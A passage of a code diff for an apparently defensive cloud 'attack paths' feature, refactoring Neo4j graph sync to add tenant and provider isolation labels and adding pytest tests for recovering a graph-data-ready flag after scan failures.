exc_info=True, ) diff --git a/api/src/backend/tasks/jobs/attack_paths/sync.py b/api/src/backend/tasks/jobs/attack_paths/sync.py index 2fc94ab540..870aba6fa8 100644 --- a/api/src/backend/tasks/jobs/attack_paths/sync.py +++ b/api/src/backend/tasks/jobs/attack_paths/sync.py @@ -8,14 +8,16 @@ to the tenant database, adding provider isolation labels and properties. from collections import defaultdict from typing import Any +import neo4j from celery.utils.log import get_task_logger from api.attack_paths import database as graph_database from tasks.jobs.attack_paths.config import ( - BATCH_SIZE, - DEPRECATED_PROVIDER_RESOURCE_LABEL, PROVIDER_ISOLATION_PROPERTIES, PROVIDER_RESOURCE_LABEL, + SYNC_BATCH_SIZE, + get_provider_label, + get_tenant_label, ) from tasks.jobs.attack_paths.indexes import IndexType, create_indexes from tasks.jobs.attack_paths.queries import ( @@ -37,6 +39,7 @@ def create_sync_indexes(neo4j_session) -> None: def sync_graph( source_database: str, target_database: str, + tenant_id: str, provider_id: str, ) -> dict[str, int]: """ @@ -45,6 +48,7 @@ def sync_graph( Args: `source_database`: The temporary scan database `target_database`: The tenant database + `tenant_id`: The tenant ID for isolation `provider_id`: The provider ID for isolation Returns: @@ -53,6 +57,7 @@ def sync_graph( nodes_synced = sync_nodes( source_database, target_database, + tenant_id, provider_id, ) relationships_synced = sync_relationships( @@ -70,50 +75,45 @@ def sync_graph( def sync_nodes( source_database: str, target_database: str, + tenant_id: str, provider_id: str, ) -> int: """ Sync nodes from source to target database. Adds `_ProviderResource` label and `_provider_id` property to all nodes. + Also adds dynamic `_Tenant_{id}` and `_Provider_{id}` isolation labels. + + Source and target sessions are opened sequentially per batch to avoid + holding two Bolt connections simultaneously for the entire sync duration. """ last_id = -1 total_synced = 0 - with ( - graph_database.get_session(source_database) as source_session, - graph_database.get_session(target_database) as target_session, - ): - while True: - rows = list( - source_session.run( - NODE_FETCH_QUERY, - {"last_id": last_id, "batch_size": BATCH_SIZE}, - ) + while True: + grouped: dict[tuple[str, ...], list[dict[str, Any]]] = defaultdict(list) + batch_count = 0 + + with graph_database.get_session(source_database) as source_session: + result = source_session.run( + NODE_FETCH_QUERY, + {"last_id": last_id, "batch_size": SYNC_BATCH_SIZE}, ) + for record in result: + batch_count += 1 + last_id = record["internal_id"] + key, value = _node_to_sync_dict(record, provider_id) + grouped[key].append(value) - if not rows: - break - - last_id = rows[-1]["internal_id"] - - grouped: dict[tuple[str, ...], list[dict[str, Any]]] = defaultdict(list) - for row in rows: - labels = tuple(sorted(set(row["labels"] or []))) - props = dict(row["props"] or {}) - _strip_internal_properties(props) - provider_element_id = f"{provider_id}:{row['element_id']}" - grouped[labels].append( - { - "provider_element_id": provider_element_id, - "props": props, - } - ) + if batch_count == 0: + break + with graph_database.get_session(target_database) as target_session: for labels, batch in grouped.items(): label_set = set(labels) label_set.add(PROVIDER_RESOURCE_LABEL) - label_set.add(DEPRECATED_PROVIDER_RESOURCE_LABEL) + label_set.add(get_tenant_label(tenant_id)) + label_set.add(get_provider_label(provider_id)) node_labels = ":".join(f"`{label}`" for label in sorted(label_set)) query = render_cypher_template( @@ -127,10 +127,10 @@ def sync_nodes( }, ) - total_synced += len(rows) - logger.info( - f"Synced {total_synced} nodes from {source_database} to {target_database}" - ) + total_synced += batch_count + logger.info( + f"Synced {total_synced} nodes from {source_database} to {target_database}" + ) return total_synced @@ -144,41 +144,32 @@ def sync_relationships( Sync relationships from source to target database. Adds `_provider_id` property to all relationships. + + Source and target sessions are opened sequentially per batch to avoid + holding two Bolt connections simultaneously for the entire sync duration. """ last_id = -1 total_synced = 0 - with ( - graph_database.get_session(source_database) as source_session, - graph_database.get_session(target_database) as target_session, - ): - while True: - rows = list( - source_session.run( - RELATIONSHIPS_FETCH_QUERY, - {"last_id": last_id, "batch_size": BATCH_SIZE}, - ) + while True: + grouped: dict[str, list[dict[str, Any]]] = defaultdict(list) + batch_count = 0 + + with graph_database.get_session(source_database) as source_session: + result = source_session.run( + RELATIONSHIPS_FETCH_QUERY, + {"last_id": last_id, "batch_size": SYNC_BATCH_SIZE}, ) + for record in result: + batch_count += 1 + last_id = record["internal_id"] + key, value = _rel_to_sync_dict(record, provider_id) + grouped[key].append(value) - if not rows: - break - - last_id = rows[-1]["internal_id"] - - grouped: dict[str, list[dict[str, Any]]] = defaultdict(list) - for row in rows: - props = dict(row["props"] or {}) - _strip_internal_properties(props) - rel_type = row["rel_type"] - grouped[rel_type].append( - { - "start_element_id": f"{provider_id}:{row['start_element_id']}", - "end_element_id": f"{provider_id}:{row['end_element_id']}", - "provider_element_id": f"{provider_id}:{rel_type}:{row['internal_id']}", - "props": props, - } - ) + if batch_count == 0: + break + with graph_database.get_session(target_database) as target_session: for rel_type, batch in grouped.items(): query = render_cypher_template( RELATIONSHIP_SYNC_TEMPLATE, {"__REL_TYPE__": rel_type} @@ -191,14 +182,42 @@ def sync_relationships( }, ) - total_synced += len(rows) - logger.info( - f"Synced {total_synced} relationships from {source_database} to {target_database}" - ) + total_synced += batch_count + logger.info( + f"Synced {total_synced} relationships from {source_database} to {target_database}" + ) return total_synced +def _node_to_sync_dict( + record: neo4j.Record, provider_id: str +) -> tuple[tuple[str, ...], dict[str, Any]]: + """Transform a source node record into a (grouping_key, sync_dict) pair.""" + props = dict(record["props"] or {}) + _strip_internal_properties(props) + labels = tuple(sorted(set(record["labels"] or []))) + return labels, { + "provider_element_id": f"{provider_id}:{record['element_id']}", + "props": props, + } + + +def _rel_to_sync_dict( + record: neo4j.Record, provider_id: str +) -> tuple[str, dict[str, Any]]: + """Transform a source relationship record into a (grouping_key, sync_dict) pair.""" + props = dict(record["props"] or {}) + _strip_internal_properties(props) + rel_type = record["rel_type"] + return rel_type, { + "start_element_id": f"{provider_id}:{record['start_element_id']}", + "end_element_id": f"{provider_id}:{record['end_element_id']}", + "provider_element_id": f"{provider_id}:{rel_type}:{record['internal_id']}", + "props": props, + } + + def _strip_internal_properties(props: dict[str, Any]) -> None: """Remove provider isolation properties before the += spread in sync templates.""" for key in PROVIDER_ISOLATION_PROPERTIES: diff --git a/api/src/backend/tasks/tests/test_attack_paths_scan.py b/api/src/backend/tasks/tests/test_attack_paths_scan.py index 8132b7dad3..dc621f173b 100644 --- a/api/src/backend/tasks/tests/test_attack_paths_scan.py +++ b/api/src/backend/tasks/tests/test_attack_paths_scan.py @@ -6,9 +6,6 @@ import pytest from tasks.jobs.attack_paths import findings as findings_module from tasks.jobs.attack_paths import internet as internet_module from tasks.jobs.attack_paths import sync as sync_module -from tasks.jobs.attack_paths.config import ( - get_deprecated_provider_resource_label, -) from tasks.jobs.attack_paths.scan import run as attack_paths_run from api.models import ( @@ -154,6 +151,7 @@ class TestAttackPathsRun: mock_sync.assert_called_once_with( source_database="db-scan-id", target_database="tenant-db", + tenant_id=str(provider.tenant_id), provider_id=str(provider.id), ) mock_get_ingestion.assert_called_once_with(provider.provider) @@ -271,6 +269,106 @@ class TestAttackPathsRun: assert failure_args[1] == StateChoices.FAILED assert failure_args[2] == {"global_error": "Cartography failed: ingestion boom"} + @patch( + "tasks.jobs.attack_paths.scan.utils.stringify_exception", + return_value="Cartography failed: ingestion boom", + ) + @patch( + "tasks.jobs.attack_paths.scan.utils.call_within_event_loop", + side_effect=lambda fn, *a, **kw: fn(*a, **kw), + ) + @patch("tasks.jobs.attack_paths.scan.graph_database.drop_database") + @patch("tasks.jobs.attack_paths.scan.db_utils.finish_attack_paths_scan") + @patch("tasks.jobs.attack_paths.scan.db_utils.set_graph_data_ready") + @patch("tasks.jobs.attack_paths.scan.db_utils.set_provider_graph_data_ready") + @patch("tasks.jobs.attack_paths.scan.db_utils.update_attack_paths_scan_progress") + @patch("tasks.jobs.attack_paths.scan.db_utils.starting_attack_paths_scan") + @patch("tasks.jobs.attack_paths.scan.findings.analysis") + @patch("tasks.jobs.attack_paths.scan.internet.analysis") + @patch("tasks.jobs.attack_paths.scan.findings.create_findings_indexes") + @patch("tasks.jobs.attack_paths.scan.cartography_analysis.run") + @patch("tasks.jobs.attack_paths.scan.cartography_create_indexes.run") + @patch("tasks.jobs.attack_paths.scan.graph_database.create_database") + @patch( + "tasks.jobs.attack_paths.scan.graph_database.get_database_name", + return_value="db-scan-id", + ) + @patch("tasks.jobs.attack_paths.scan.graph_database.get_uri") + @patch( + "tasks.jobs.attack_paths.scan.initialize_prowler_provider", + return_value=MagicMock(_enabled_regions=["us-east-1"]), + ) + @patch( + "tasks.jobs.attack_paths.scan.rls_transaction", + new=lambda *args, **kwargs: nullcontext(), + ) + def test_failure_before_gate_does_not_flip_graph_data_ready_true( + self, + mock_init_provider, + mock_get_uri, + mock_get_db_name, + mock_create_db, + mock_cartography_indexes, + mock_cartography_analysis, + mock_findings_indexes, + mock_internet_analysis, + mock_findings_analysis, + mock_starting, + mock_update_progress, + mock_set_provider_graph_data_ready, + mock_set_graph_data_ready, + mock_finish, + mock_drop_db, + mock_event_loop, + mock_stringify, + tenants_fixture, + providers_fixture, + scans_fixture, + ): + """Failure during ingestion (before set_provider_graph_data_ready(False)) + must NOT flip graph_data_ready to True for providers that never had data.""" + tenant = tenants_fixture[0] + provider = providers_fixture[0] + provider.provider = Provider.ProviderChoices.AWS + provider.save() + scan = scans_fixture[0] + scan.provider = provider + scan.save() + + attack_paths_scan = AttackPathsScan.objects.create( + tenant_id=tenant.id, + provider=provider, + scan=scan, + state=StateChoices.SCHEDULED, + ) + + mock_session = MagicMock() + session_ctx = MagicMock() + session_ctx.__enter__.return_value = mock_session + session_ctx.__exit__.return_value = False + ingestion_fn = MagicMock(side_effect=RuntimeError("ingestion boom")) + + with ( + patch( + "tasks.jobs.attack_paths.scan.graph_database.get_session", + return_value=session_ctx, + ), + patch( + "tasks.jobs.attack_paths.scan.db_utils.retrieve_attack_paths_scan", + return_value=attack_paths_scan, + ), + patch( + "tasks.jobs.attack_paths.scan.get_cartography_ingestion_function", + return_value=ingestion_fn, + ), + ): + with pytest.raises(RuntimeError, match="ingestion boom"): + attack_paths_run(str(tenant.id), str(scan.id), "task-456") + + # Gate was never applied, so recovery must not flip anything to True + mock_set_provider_graph_data_ready.assert_not_called() + mock_set_graph_data_ready.assert_not_called() + @patch( "tasks.jobs.attack_paths.scan.utils.stringify_exception", return_value="Cartography failed: ingestion boom", @@ -373,6 +471,465 @@ class TestAttackPathsRun: assert failure_args[1] == StateChoices.FAILED assert failure_args[2] == {"global_error": "Cartography failed: ingestion boom"} + @patch( + "tasks.jobs.attack_paths.scan.utils.stringify_exception", + return_value="Attack Paths scan failed: drop failed", + ) + @patch( + "tasks.jobs.attack_paths.scan.utils.call_within_event_loop", + side_effect=lambda fn, *a, **kw: fn(*a, **kw), + ) + @patch("tasks.jobs.attack_paths.scan.graph_database.drop_database") + @patch("tasks.jobs.attack_paths.scan.db_utils.finish_attack_paths_scan") + @patch("tasks.jobs.attack_paths.scan.db_utils.set_graph_data_ready") + @patch("tasks.jobs.attack_paths.scan.db_utils.set_provider_graph_data_ready") + @patch("tasks.jobs.attack_paths.scan.db_utils.update_attack_paths_scan_progress") + @patch("tasks.jobs.attack_paths.scan.db_utils.starting_attack_paths_scan") + @patch("tasks.jobs.attack_paths.scan.sync.sync_graph") + @patch( + "tasks.jobs.attack_paths.scan.graph_database.drop_subgraph", + side_effect=RuntimeError("drop failed"), + ) + @patch("tasks.jobs.attack_paths.scan.sync.create_sync_indexes") + @patch("tasks.jobs.attack_paths.scan.internet.analysis") + @patch("tasks.jobs.attack_paths.scan.findings.analysis") + @patch("tasks.jobs.attack_paths.scan.findings.create_findings_indexes") + @patch("tasks.jobs.attack_paths.scan.cartography_ontology.run") + @patch("tasks.jobs.attack_paths.scan.cartography_analysis.run") + @patch("tasks.jobs.attack_paths.scan.cartography_create_indexes.run") + @patch("tasks.jobs.attack_paths.scan.graph_database.clear_cache") + @patch("tasks.jobs.attack_paths.scan.graph_database.create_database") + @patch( + "tasks.jobs.attack_paths.scan.graph_database.get_uri", + return_value="bolt://neo4j", + ) + @patch( + "tasks.jobs.attack_paths.scan.initialize_prowler_provider", + return_value=MagicMock(_enabled_regions=["us-east-1"]), + ) + @patch( + "tasks.jobs.attack_paths.scan.rls_transaction", + new=lambda *args, **kwargs: nullcontext(), + ) + def test_failure_after_gate_before_drop_restores_graph_data_ready( + self, + mock_init_provider, + mock_get_uri, + mock_create_db, + mock_clear_cache, + mock_cartography_indexes, + mock_cartography_analysis, + mock_cartography_ontology, + mock_findings_indexes, + mock_findings_analysis, + mock_internet_analysis, + mock_sync_indexes, + mock_drop_subgraph, + mock_sync, + mock_starting, + mock_update_progress, + mock_set_provider_graph_data_ready, + mock_set_graph_data_ready, + mock_finish, + mock_drop_db, + mock_event_loop, + mock_stringify, + tenants_fixture, + providers_fixture, + scans_fixture, + ): + tenant = tenants_fixture[0] + provider = providers_fixture[0] + provider.provider = Provider.ProviderChoices.AWS + provider.save() + scan = scans_fixture[0] + scan.provider = provider + scan.save() + + attack_paths_scan = AttackPathsScan.objects.create( + tenant_id=tenant.id, + provider=provider, + scan=scan, + state=StateChoices.SCHEDULED, + ) + + mock_session = MagicMock() + session_ctx = MagicMock() + session_ctx.__enter__.return_value = mock_session + session_ctx.__exit__.return_value = False + + with ( + patch( + "tasks.jobs.attack_paths.scan.graph_database.get_database_name", + side_effect=["db-scan-id", "tenant-db"], + ), + patch( + "tasks.jobs.attack_paths.scan.graph_database.get_session", + return_value=session_ctx, + ), + patch( + "tasks.jobs.attack_paths.scan.db_utils.retrieve_attack_paths_scan", + return_value=attack_paths_scan, + ), + patch( + "tasks.jobs.attack_paths.scan.get_cartography_ingestion_function", + return_value=MagicMock(return_value={}), + ), + ): + with pytest.raises(RuntimeError, match="drop failed"): + attack_paths_run(str(tenant.id), str(scan.id), "task-456") + + assert mock_set_provider_graph_data_ready.call_args_list == [ + call(attack_paths_scan, False), + call(attack_paths_scan, True), + ] + + @patch( + "tasks.jobs.attack_paths.scan.utils.stringify_exception", + return_value="Attack Paths scan failed: sync failed", + ) + @patch( + "tasks.jobs.attack_paths.scan.utils.call_within_event_loop", + side_effect=lambda fn, *a, **kw: fn(*a, **kw), + ) + @patch("tasks.jobs.attack_paths.scan.graph_database.drop_database") + @patch("tasks.jobs.attack_paths.scan.db_utils.finish_attack_paths_scan") + @patch("tasks.jobs.attack_paths.scan.db_utils.set_graph_data_ready") + @patch("tasks.jobs.attack_paths.scan.db_utils.set_provider_graph_data_ready") + @patch("tasks.jobs.attack_paths.scan.db_utils.update_attack_paths_scan_progress") + @patch("tasks.jobs.attack_paths.scan.db_utils.starting_attack_paths_scan") + @patch( + "tasks.jobs.attack_paths.scan.sync.sync_graph", + side_effect=RuntimeError("sync failed"), + ) + @patch("tasks.jobs.attack_paths.scan.graph_database.drop_subgraph") + @patch("tasks.jobs.attack_paths.scan.sync.create_sync_indexes") + @patch("tasks.jobs.attack_paths.scan.internet.analysis") + @patch("tasks.jobs.attack_paths.scan.findings.analysis") + @patch("tasks.jobs.attack_paths.scan.findings.create_findings_indexes") + @patch("tasks.jobs.attack_paths.scan.cartography_ontology.run") + @patch("tasks.jobs.attack_paths.scan.cartography_analysis.run") + @patch("tasks.jobs.attack_paths.scan.cartography_create_indexes.run") + @patch("tasks.jobs.attack_paths.scan.graph_database.clear_cache") + @patch("tasks.jobs.attack_paths.scan.graph_database.create_database") + @patch( + "tasks.jobs.attack_paths.scan.graph_database.get_uri", + return_value="bolt://neo4j", + ) + @patch( + "tasks.jobs.attack_paths.scan.initialize_prowler_provider", + return_value=MagicMock(_enabled_regions=["us-east-1"]), + ) + @patch( + "tasks.jobs.attack_paths.scan.rls_transaction", + new=lambda *args, **kwargs: nullcontext(), + ) + def test_failure_after_drop_before_sync_leaves_graph_data_ready_false( + self, + mock_init_provider, + mock_get_uri, + mock_create_db, + mock_clear_cache, + mock_cartography_indexes, + mock_cartography_analysis, + mock_cartography_ontology, + mock_findings_indexes, + mock_findings_analysis, + mock_internet_analysis, + mock_sync_indexes, + mock_drop_subgraph, + mock_sync, + mock_starting, + mock_update_progress, + mock_set_provider_graph_data_ready, + mock_set_graph_data_ready, + mock_finish, + mock_drop_db, + mock_event_loop, + mock_stringify, + tenants_fixture, + providers_fixture, + scans_fixture, + ): + tenant = tenants_fixture[0] + provider = providers_fixture[0] + provider.provider = Provider.ProviderChoices.AWS + provider.save() + scan = scans_fixture[0] + scan.provider = provider + scan.save() + + attack_paths_scan = AttackPathsScan.objects.create( + tenant_id=tenant.id, + provider=provider, + scan=scan, + state=StateChoices.SCHEDULED, + ) + + mock_session = MagicMock() + session_ctx = MagicMock() + session_ctx.__enter__.return_value = mock_session + session_ctx.__exit__.return_value = False + + with ( + patch( + "tasks.jobs.attack_paths.scan.graph_database.get_database_name", + side_effect=["db-scan-id", "tenant-db"], + ), + patch( + "tasks.jobs.attack_paths.scan.graph_database.get_session", + return_value=session_ctx, + ), + patch( + "tasks.jobs.attack_paths.scan.db_utils.retrieve_attack_paths_scan", + return_value=attack_paths_scan, + ), + patch( + "tasks.jobs.attack_paths.scan.get_cartography_ingestion_function", + return_value=MagicMock(return_value={}), + ), + ): + with pytest.raises(RuntimeError, match="sync failed"): + attack_paths_run(str(tenant.id), str(scan.id), "task-456") + + # Only called with False (gate), never with True (no recovery for partial data) + mock_set_provider_graph_data_ready.assert_called_once_with( + attack_paths_scan, False + ) + + @patch( + "tasks.jobs.attack_paths.scan.utils.stringify_exception", + return_value="Attack Paths scan failed: flag failed", + ) + @patch( + "tasks.jobs.attack_paths.scan.utils.call_within_event_loop", + side_effect=lambda fn, *a, **kw: fn(*a, **kw), + ) + @patch("tasks.jobs.attack_paths.scan.graph_database.drop_database") + @patch("tasks.jobs.attack_paths.scan.db_utils.finish_attack_paths_scan") + @patch( + "tasks.jobs.attack_paths.scan.db_utils.set_graph_data_ready", + side_effect=[RuntimeError("flag failed"), None], + ) + @patch("tasks.jobs.attack_paths.scan.db_utils.set_provider_graph_data_ready") + @patch("tasks.jobs.attack_paths.scan.db_utils.update_attack_paths_scan_progress") + @patch("tasks.jobs.attack_paths.scan.db_utils.starting_attack_paths_scan") + @patch("tasks.jobs.attack_paths.scan.sync.sync_graph") + @patch("tasks.jobs.attack_paths.scan.graph_database.drop_subgraph") + @patch("tasks.jobs.attack_paths.scan.sync.create_sync_indexes") + @patch("tasks.jobs.attack_paths.scan.internet.analysis") + @patch("tasks.jobs.attack_paths.scan.findings.analysis") + @patch("tasks.jobs.attack_paths.scan.findings.create_findings_indexes") + @patch("tasks.jobs.attack_paths.scan.cartography_ontology.run") + @patch("tasks.jobs.attack_paths.scan.cartography_analysis.run") + @patch("tasks.jobs.attack_paths.scan.cartography_create_indexes.run") + @patch("tasks.jobs.attack_paths.scan.graph_database.clear_cache") + @patch("tasks.jobs.attack_paths.scan.graph_database.create_database") + @patch( + "tasks.jobs.attack_paths.scan.graph_database.get_uri", + return_value="bolt://neo4j", + ) + @patch( + "tasks.jobs.attack_paths.scan.initialize_prowler_provider", + return_value=MagicMock(_enabled_regions=["us-east-1"]), + ) + @patch( + "tasks.jobs.attack_paths.scan.rls_transaction", + new=lambda *args, **kwargs: nullcontext(), + ) + def test_failure_after_sync_restores_graph_data_ready( + self, + mock_init_provider, + mock_get_uri, + mock_create_db, + mock_clear_cache, + mock_cartography_indexes, + mock_cartography_analysis, + mock_cartography_ontology, + mock_findings_indexes, + mock_findings_analysis, + mock_internet_analysis, + mock_sync_indexes, + mock_drop_subgraph, + mock_sync, + mock_starting, + mock_update_progress, + mock_set_provider_graph_data_ready, + mock_set_graph_data_ready, + mock_finish, + mock_drop_db, + mock_event_loop, + mock_stringify, + tenants_fixture, + providers_fixture, + scans_fixture, + ): + tenant = tenants_fixture[0] + provider = providers_fixture[0] + provider.provider = Provider.ProviderChoices.AWS + provider.save() + scan = scans_fixture[0] + scan.provider = provider + scan.save() + + attack_paths_scan = AttackPathsScan.objects.create( + tenant_id=tenant.id, + provider=provider, + scan=scan, + state=StateChoices.SCHEDULED, + ) + + mock_session = MagicMock() + session_ctx = MagicMock() + session_ctx.__enter__.return_value = mock_session + session_ctx.__exit__.return_value = False + + with ( + patch( + "tasks.jobs.attack_paths.scan.graph_database.get_database_name", + side_effect=["db-scan-id", "tenant-db"], + ), + patch( + "tasks.jobs.attack_paths.scan.graph_database.get_session", + return_value=session_ctx, + ), + patch( + "tasks.jobs.attack_paths.scan.db_utils.retrieve_attack_paths_scan", + return_value=attack_paths_scan, + ), + patch( + "tasks.jobs.attack_paths.scan.get_cartography_ingestion_function", + return_value=MagicMock(return_value={}), + ), + ): + with pytest.raises(RuntimeError, match="flag failed"): + attack_paths_run(str(tenant.id), str(scan.id), "task-456") + + # sync completed: first call (normal path) raised, recovery retried and succeeded + assert mock_set_graph_data_ready.call_args_list == [ + call(attack_paths_scan, True), + call(attack_paths_scan, True), + ] + # set_provider_graph_data_ready only called once with False (the gate) + mock_set_provider_graph_data_ready.assert_called_once_with( + attack_paths_scan, False + ) + + @patch( + "tasks.jobs.attack_paths.scan.utils.stringify_exception", + return_value="Attack Paths scan failed: drop failed", + ) + @patch( + "tasks.jobs.attack_paths.scan.utils.call_within_event_loop", + side_effect=lambda fn, *a, **kw: fn(*a, **kw), + ) + @patch("tasks.jobs.attack_paths.scan.graph_database.drop_database") + @patch("tasks.jobs.attack_paths.scan.db_utils.finish_attack_paths_scan") + @patch("tasks.jobs.attack_paths.scan.db_utils.set_graph_data_ready") + @patch("tasks.jobs.attack_paths.scan.db_utils.set_provider_graph_data_ready") + @patch("tasks.jobs.attack_paths.scan.db_utils.update_attack_paths_scan_progress") + @patch("tasks.jobs.attack_paths.scan.db_utils.starting_attack_paths_scan") + @patch("tasks.jobs.attack_paths.scan.sync.sync_graph") + @patch( + "tasks.jobs.attack_paths.scan.graph_database.drop_subgraph", + side_effect=RuntimeError("drop failed"), + ) + @patch("tasks.jobs.attack_paths.scan.sync.create_sync_indexes") + @patch("tasks.jobs.attack_paths.scan.internet.analysis") + @patch("tasks.jobs.attack_paths.scan.findings.analysis") + @patch("tasks.jobs.attack_paths.scan.findings.create_findings_indexes") + @patch("tasks.jobs.attack_paths.scan.cartography_ontology.run") + @patch("tasks.jobs.attack_paths.scan.cartography_analysis.run") + @patch("tasks.jobs.attack_paths.scan.cartography_create_indexes.run") + @patch("tasks.jobs.attack_paths.scan.graph_database.clear_cache") + @patch("tasks.jobs.attack_paths.scan.graph_database.create_database") + @patch( + "tasks.jobs.attack_paths.scan.graph_database.get_uri", + return_value="bolt://neo4j", + ) + @patch( + "tasks.jobs.attack_paths.scan.initialize_prowler_provider", + return_value=MagicMock(_enabled_regions=["us-east-1"]), + ) + @patch( + "tasks.jobs.attack_paths.scan.rls_transaction", + new=lambda *args, **kwargs: nullcontext(), + ) + def test_recovery_failure_does_not_suppress_original_exception( + self, + mock_init_provider, + mock_get_uri, + mock_create_db, + mock_clear_cache, + mock_cartography_indexes, + mock_cartography_analysis, + mock_cartography_ontology, + mock_findings_indexes, + mock_findings_analysis, + mock_internet_analysis, + mock_sync_indexes, + mock_drop_subgraph, + mock_sync, + mock_starting, + mock_update_progress, + mock_set_provider_graph_data_ready, + mock_set_graph_data_ready, + mock_finish, + mock_drop_db, + mock_event_loop, + mock_stringify, + tenants_fixture, + providers_fixture, + scans_fixture, + ): + tenant = tenants_fixture[0] + provider = providers_fixture[0] + provider.provider = Provider.ProviderChoices.AWS + provider.save() + scan = scans_fixture[0] + scan.provider = provider + scan.save() + + attack_paths_scan = AttackPathsScan.objects.create( + tenant_id=tenant.id, + provider=provider, + scan=scan, + state=StateChoices.SCHEDULED, + ) + + # Recovery itself fails on the second call (True) + mock_set_provider_graph_data_ready.side_effect = [ + None, + RuntimeError("recovery boom"), + ] + + mock_session = MagicMock() + session_ctx = MagicMock() + session_ctx.__enter__.return_value = mock_session + session_ctx.__exit__.return_value = False + + with ( + patch( + "tasks.jobs.attack_paths.scan.graph_database.get_database_name", + side_effect=["db-scan-id", "tenant-db"], + ), + patch( + "tasks.jobs.attack_paths.scan.graph_database.get_session", + return_value=session_ctx, + ), + patch( + "tasks.jobs.attack_paths.scan.db_utils.retrieve_attack_paths_scan", + return_value=attack_paths_scan, + ), + patch( + "tasks.jobs.attack_paths.scan.get_cartography_ingestion_function", + return_value=MagicMock(return_value={}), + ), + ): + # Original exception propagates despite recovery failure + with pytest.raises(RuntimeError, match="drop failed"): + attack_paths_run(str(tenant.id), str(scan.id), "task-456") + def test_run_returns_early_for_unsupported_provider(self, tenants_fixture): tenant = tenants_fixture[0] provider = Provider.objects.create( @@ -421,9 +978,7 @@ class TestFailAttackPathsScan: def test_marks_executing_scan_as_failed( self, tenants_fixture, providers_fixture, scans_fixture ): - from tasks.jobs.attack_paths.db_utils import ( - fail_attack_paths_scan, - ) + from tasks.jobs.attack_paths.db_utils import fail_attack_paths_scan tenant = tenants_fixture[0] provider = providers_fixture[0] @@ -451,6 +1006,7 @@ class TestFailAttackPathsScan: patch( "tasks.jobs.attack_paths.db_utils.finish_attack_paths_scan" ) as mock_finish, + patch("tasks.jobs.attack_paths.db_utils.recover_graph_data_ready"), ): fail_attack_paths_scan(str(tenant.id), str(scan.id), "setup exploded") @@ -466,9 +1022,7 @@ class TestFailAttackPathsScan: def test_drops_temp_database_even_when_drop_fails( self, tenants_fixture, providers_fixture, scans_fixture ): - from tasks.jobs.attack_paths.db_utils import ( - fail_attack_paths_scan, - ) + from tasks.jobs.attack_paths.db_utils import fail_attack_paths_scan tenant = tenants_fixture[0] provider = providers_fixture[0] @@ -497,6 +1051,7 @@ class TestFailAttackPathsScan: patch( "tasks.jobs.attack_paths.db_utils.finish_attack_paths_scan" ) as mock_finish, + patch("tasks.jobs.attack_paths.db_utils.recover_graph_data_ready"), ): fail_attack_paths_scan(str(tenant.id), str(scan.id), "setup exploded") @@ -509,9 +1064,7 @@ class TestFailAttackPathsScan: def test_skips_already_failed_scan( self, tenants_fixture, providers_fixture, scans_fixture ): - from tasks.jobs.attack_paths.db_utils import ( - fail_attack_paths_scan, - ) + from tasks.jobs.attack_paths.db_utils import fail_attack_paths_scan tenant = tenants_fixture[0] provider = providers_fixture[0] @@ -546,9 +1099,7 @@ class TestFailAttackPathsScan: mock_finish.assert_not_called() def test_skips_when_no_scan_found(self, tenants_fixture): - from tasks.jobs.attack_paths.db_utils import ( - fail_attack_paths_scan, - ) + from tasks.jobs.attack_paths.db_utils import fail_attack_paths_scan tenant = tenants_fixture[0] @@ -565,6 +1116,111 @@ class TestFailAttackPathsScan: mock_finish.assert_not_called() + def test_fail_recovers_graph_data_ready_when_data_exists( + self, tenants_fixture, providers_fixture, scans_fixture + ): + from tasks.jobs.attack_paths.db_utils import fail_attack_paths_scan + + tenant = tenants_fixture[0] + provider = providers_fixture[0] + provider.provider = Provider.ProviderChoices.AWS + provider.save() + scan = scans_fixture[0] + scan.provider = provider + scan.save() + + attack_paths_scan = AttackPathsScan.objects.create( + tenant_id=tenant.id, + provider=provider, + scan=scan, + state=StateChoices.EXECUTING, + ) + + with ( + patch( + "tasks.jobs.attack_paths.db_utils.retrieve_attack_paths_scan", + return_value=attack_paths_scan, + ), + patch("tasks.jobs.attack_paths.db_utils.graph_database.drop_database"), + patch("tasks.jobs.attack_paths.db_utils.finish_attack_paths_scan"), + patch( + "tasks.jobs.attack_paths.db_utils.graph_database.has_provider_data", + return_value=True, + ), + patch( + "tasks.jobs.attack_paths.db_utils.set_provider_graph_data_ready" + ) as mock_set_ready, + ): + fail_attack_paths_scan(str(tenant.id), str(scan.id), "worker died") + + mock_set_ready.assert_called_once_with(attack_paths_scan, True) + + def test_fail_leaves_graph_data_ready_false_when_no_data( + self, tenants_fixture, providers_fixture, scans_fixture + ): + from tasks.jobs.attack_paths.db_utils import fail_attack_paths_scan + + tenant = tenants_fixture[0] + provider = providers_fixture[0] + provider.provider = Provider.ProviderChoices.AWS + provider.save() + scan = scans_fixture[0] + scan.provider = provider + scan.save() + + attack_paths_scan = AttackPathsScan.objects.create( + tenant_id=tenant.id, + provider=provider, + scan=scan, + state=StateChoices.EXECUTING, + ) + + with ( + patch( + "tasks.jobs.attack_paths.db_utils.retrieve_attack_paths_scan", + return_value=attack_paths_scan, + ), + patch("tasks.jobs.attack_paths.db_utils.graph_database.drop_database"), + patch("tasks.jobs.attack_paths.db_utils.finish_attack_paths_scan"), + patch( + "tasks.jobs.attack_paths.db_utils.graph_database.has_provider_data", + return_value=False, + ), + patch( + "tasks.jobs.attack_paths.db_utils.set_provider_graph_data_ready" + ) as mock_set_ready, + ): + fail_attack_paths_scan(str(tenant.id), str(scan.id), "worker died") + + mock_set_ready.assert_not_called() + + def test_recover_graph_data_ready_never_raises( + self, tenants_fixture, providers_fixture, scans_fixture + ): + from tasks.jobs.attack_paths.db_utils import recover_graph_data_ready + + tenant = tenants_fixture[0] + provider = providers_fixture[0] + provider.provider = Provider.ProviderChoices.AWS + provider.save() + scan = scans_fixture[0] + scan.provider = provider + scan.save() + + attack_paths_scan = AttackPathsScan.objects.create( + tenant_id=tenant.id, + provider=provider, + scan=scan, + state=StateChoices.EXECUTING, + ) + + with patch( + "tasks.jobs.attack_paths.db_utils.graph_database.has_provider_data", + side_effect=Exception("Neo4j unreachable"), + ): + # Should not raise + recover_graph_data_ready(attack_paths_scan) + class TestAttackPathsScanRLSTaskOnFailure: def test_on_failure_delegates_to_fail_attack_paths_scan(self): @@ -623,16 +1279,10 @@ class TestAttackPathsFindingsHelpers: provider.provider = Provider.ProviderChoices.AWS provider.save() - # Create mock Finding objects with to_dict() method - mock_finding_1 = MagicMock() - mock_finding_1.to_dict.return_value = {"id": "1", "resource_uid": "r-1"} - mock_finding_2 = MagicMock() - mock_finding_2.to_dict.return_value = {"id": "2", "resource_uid": 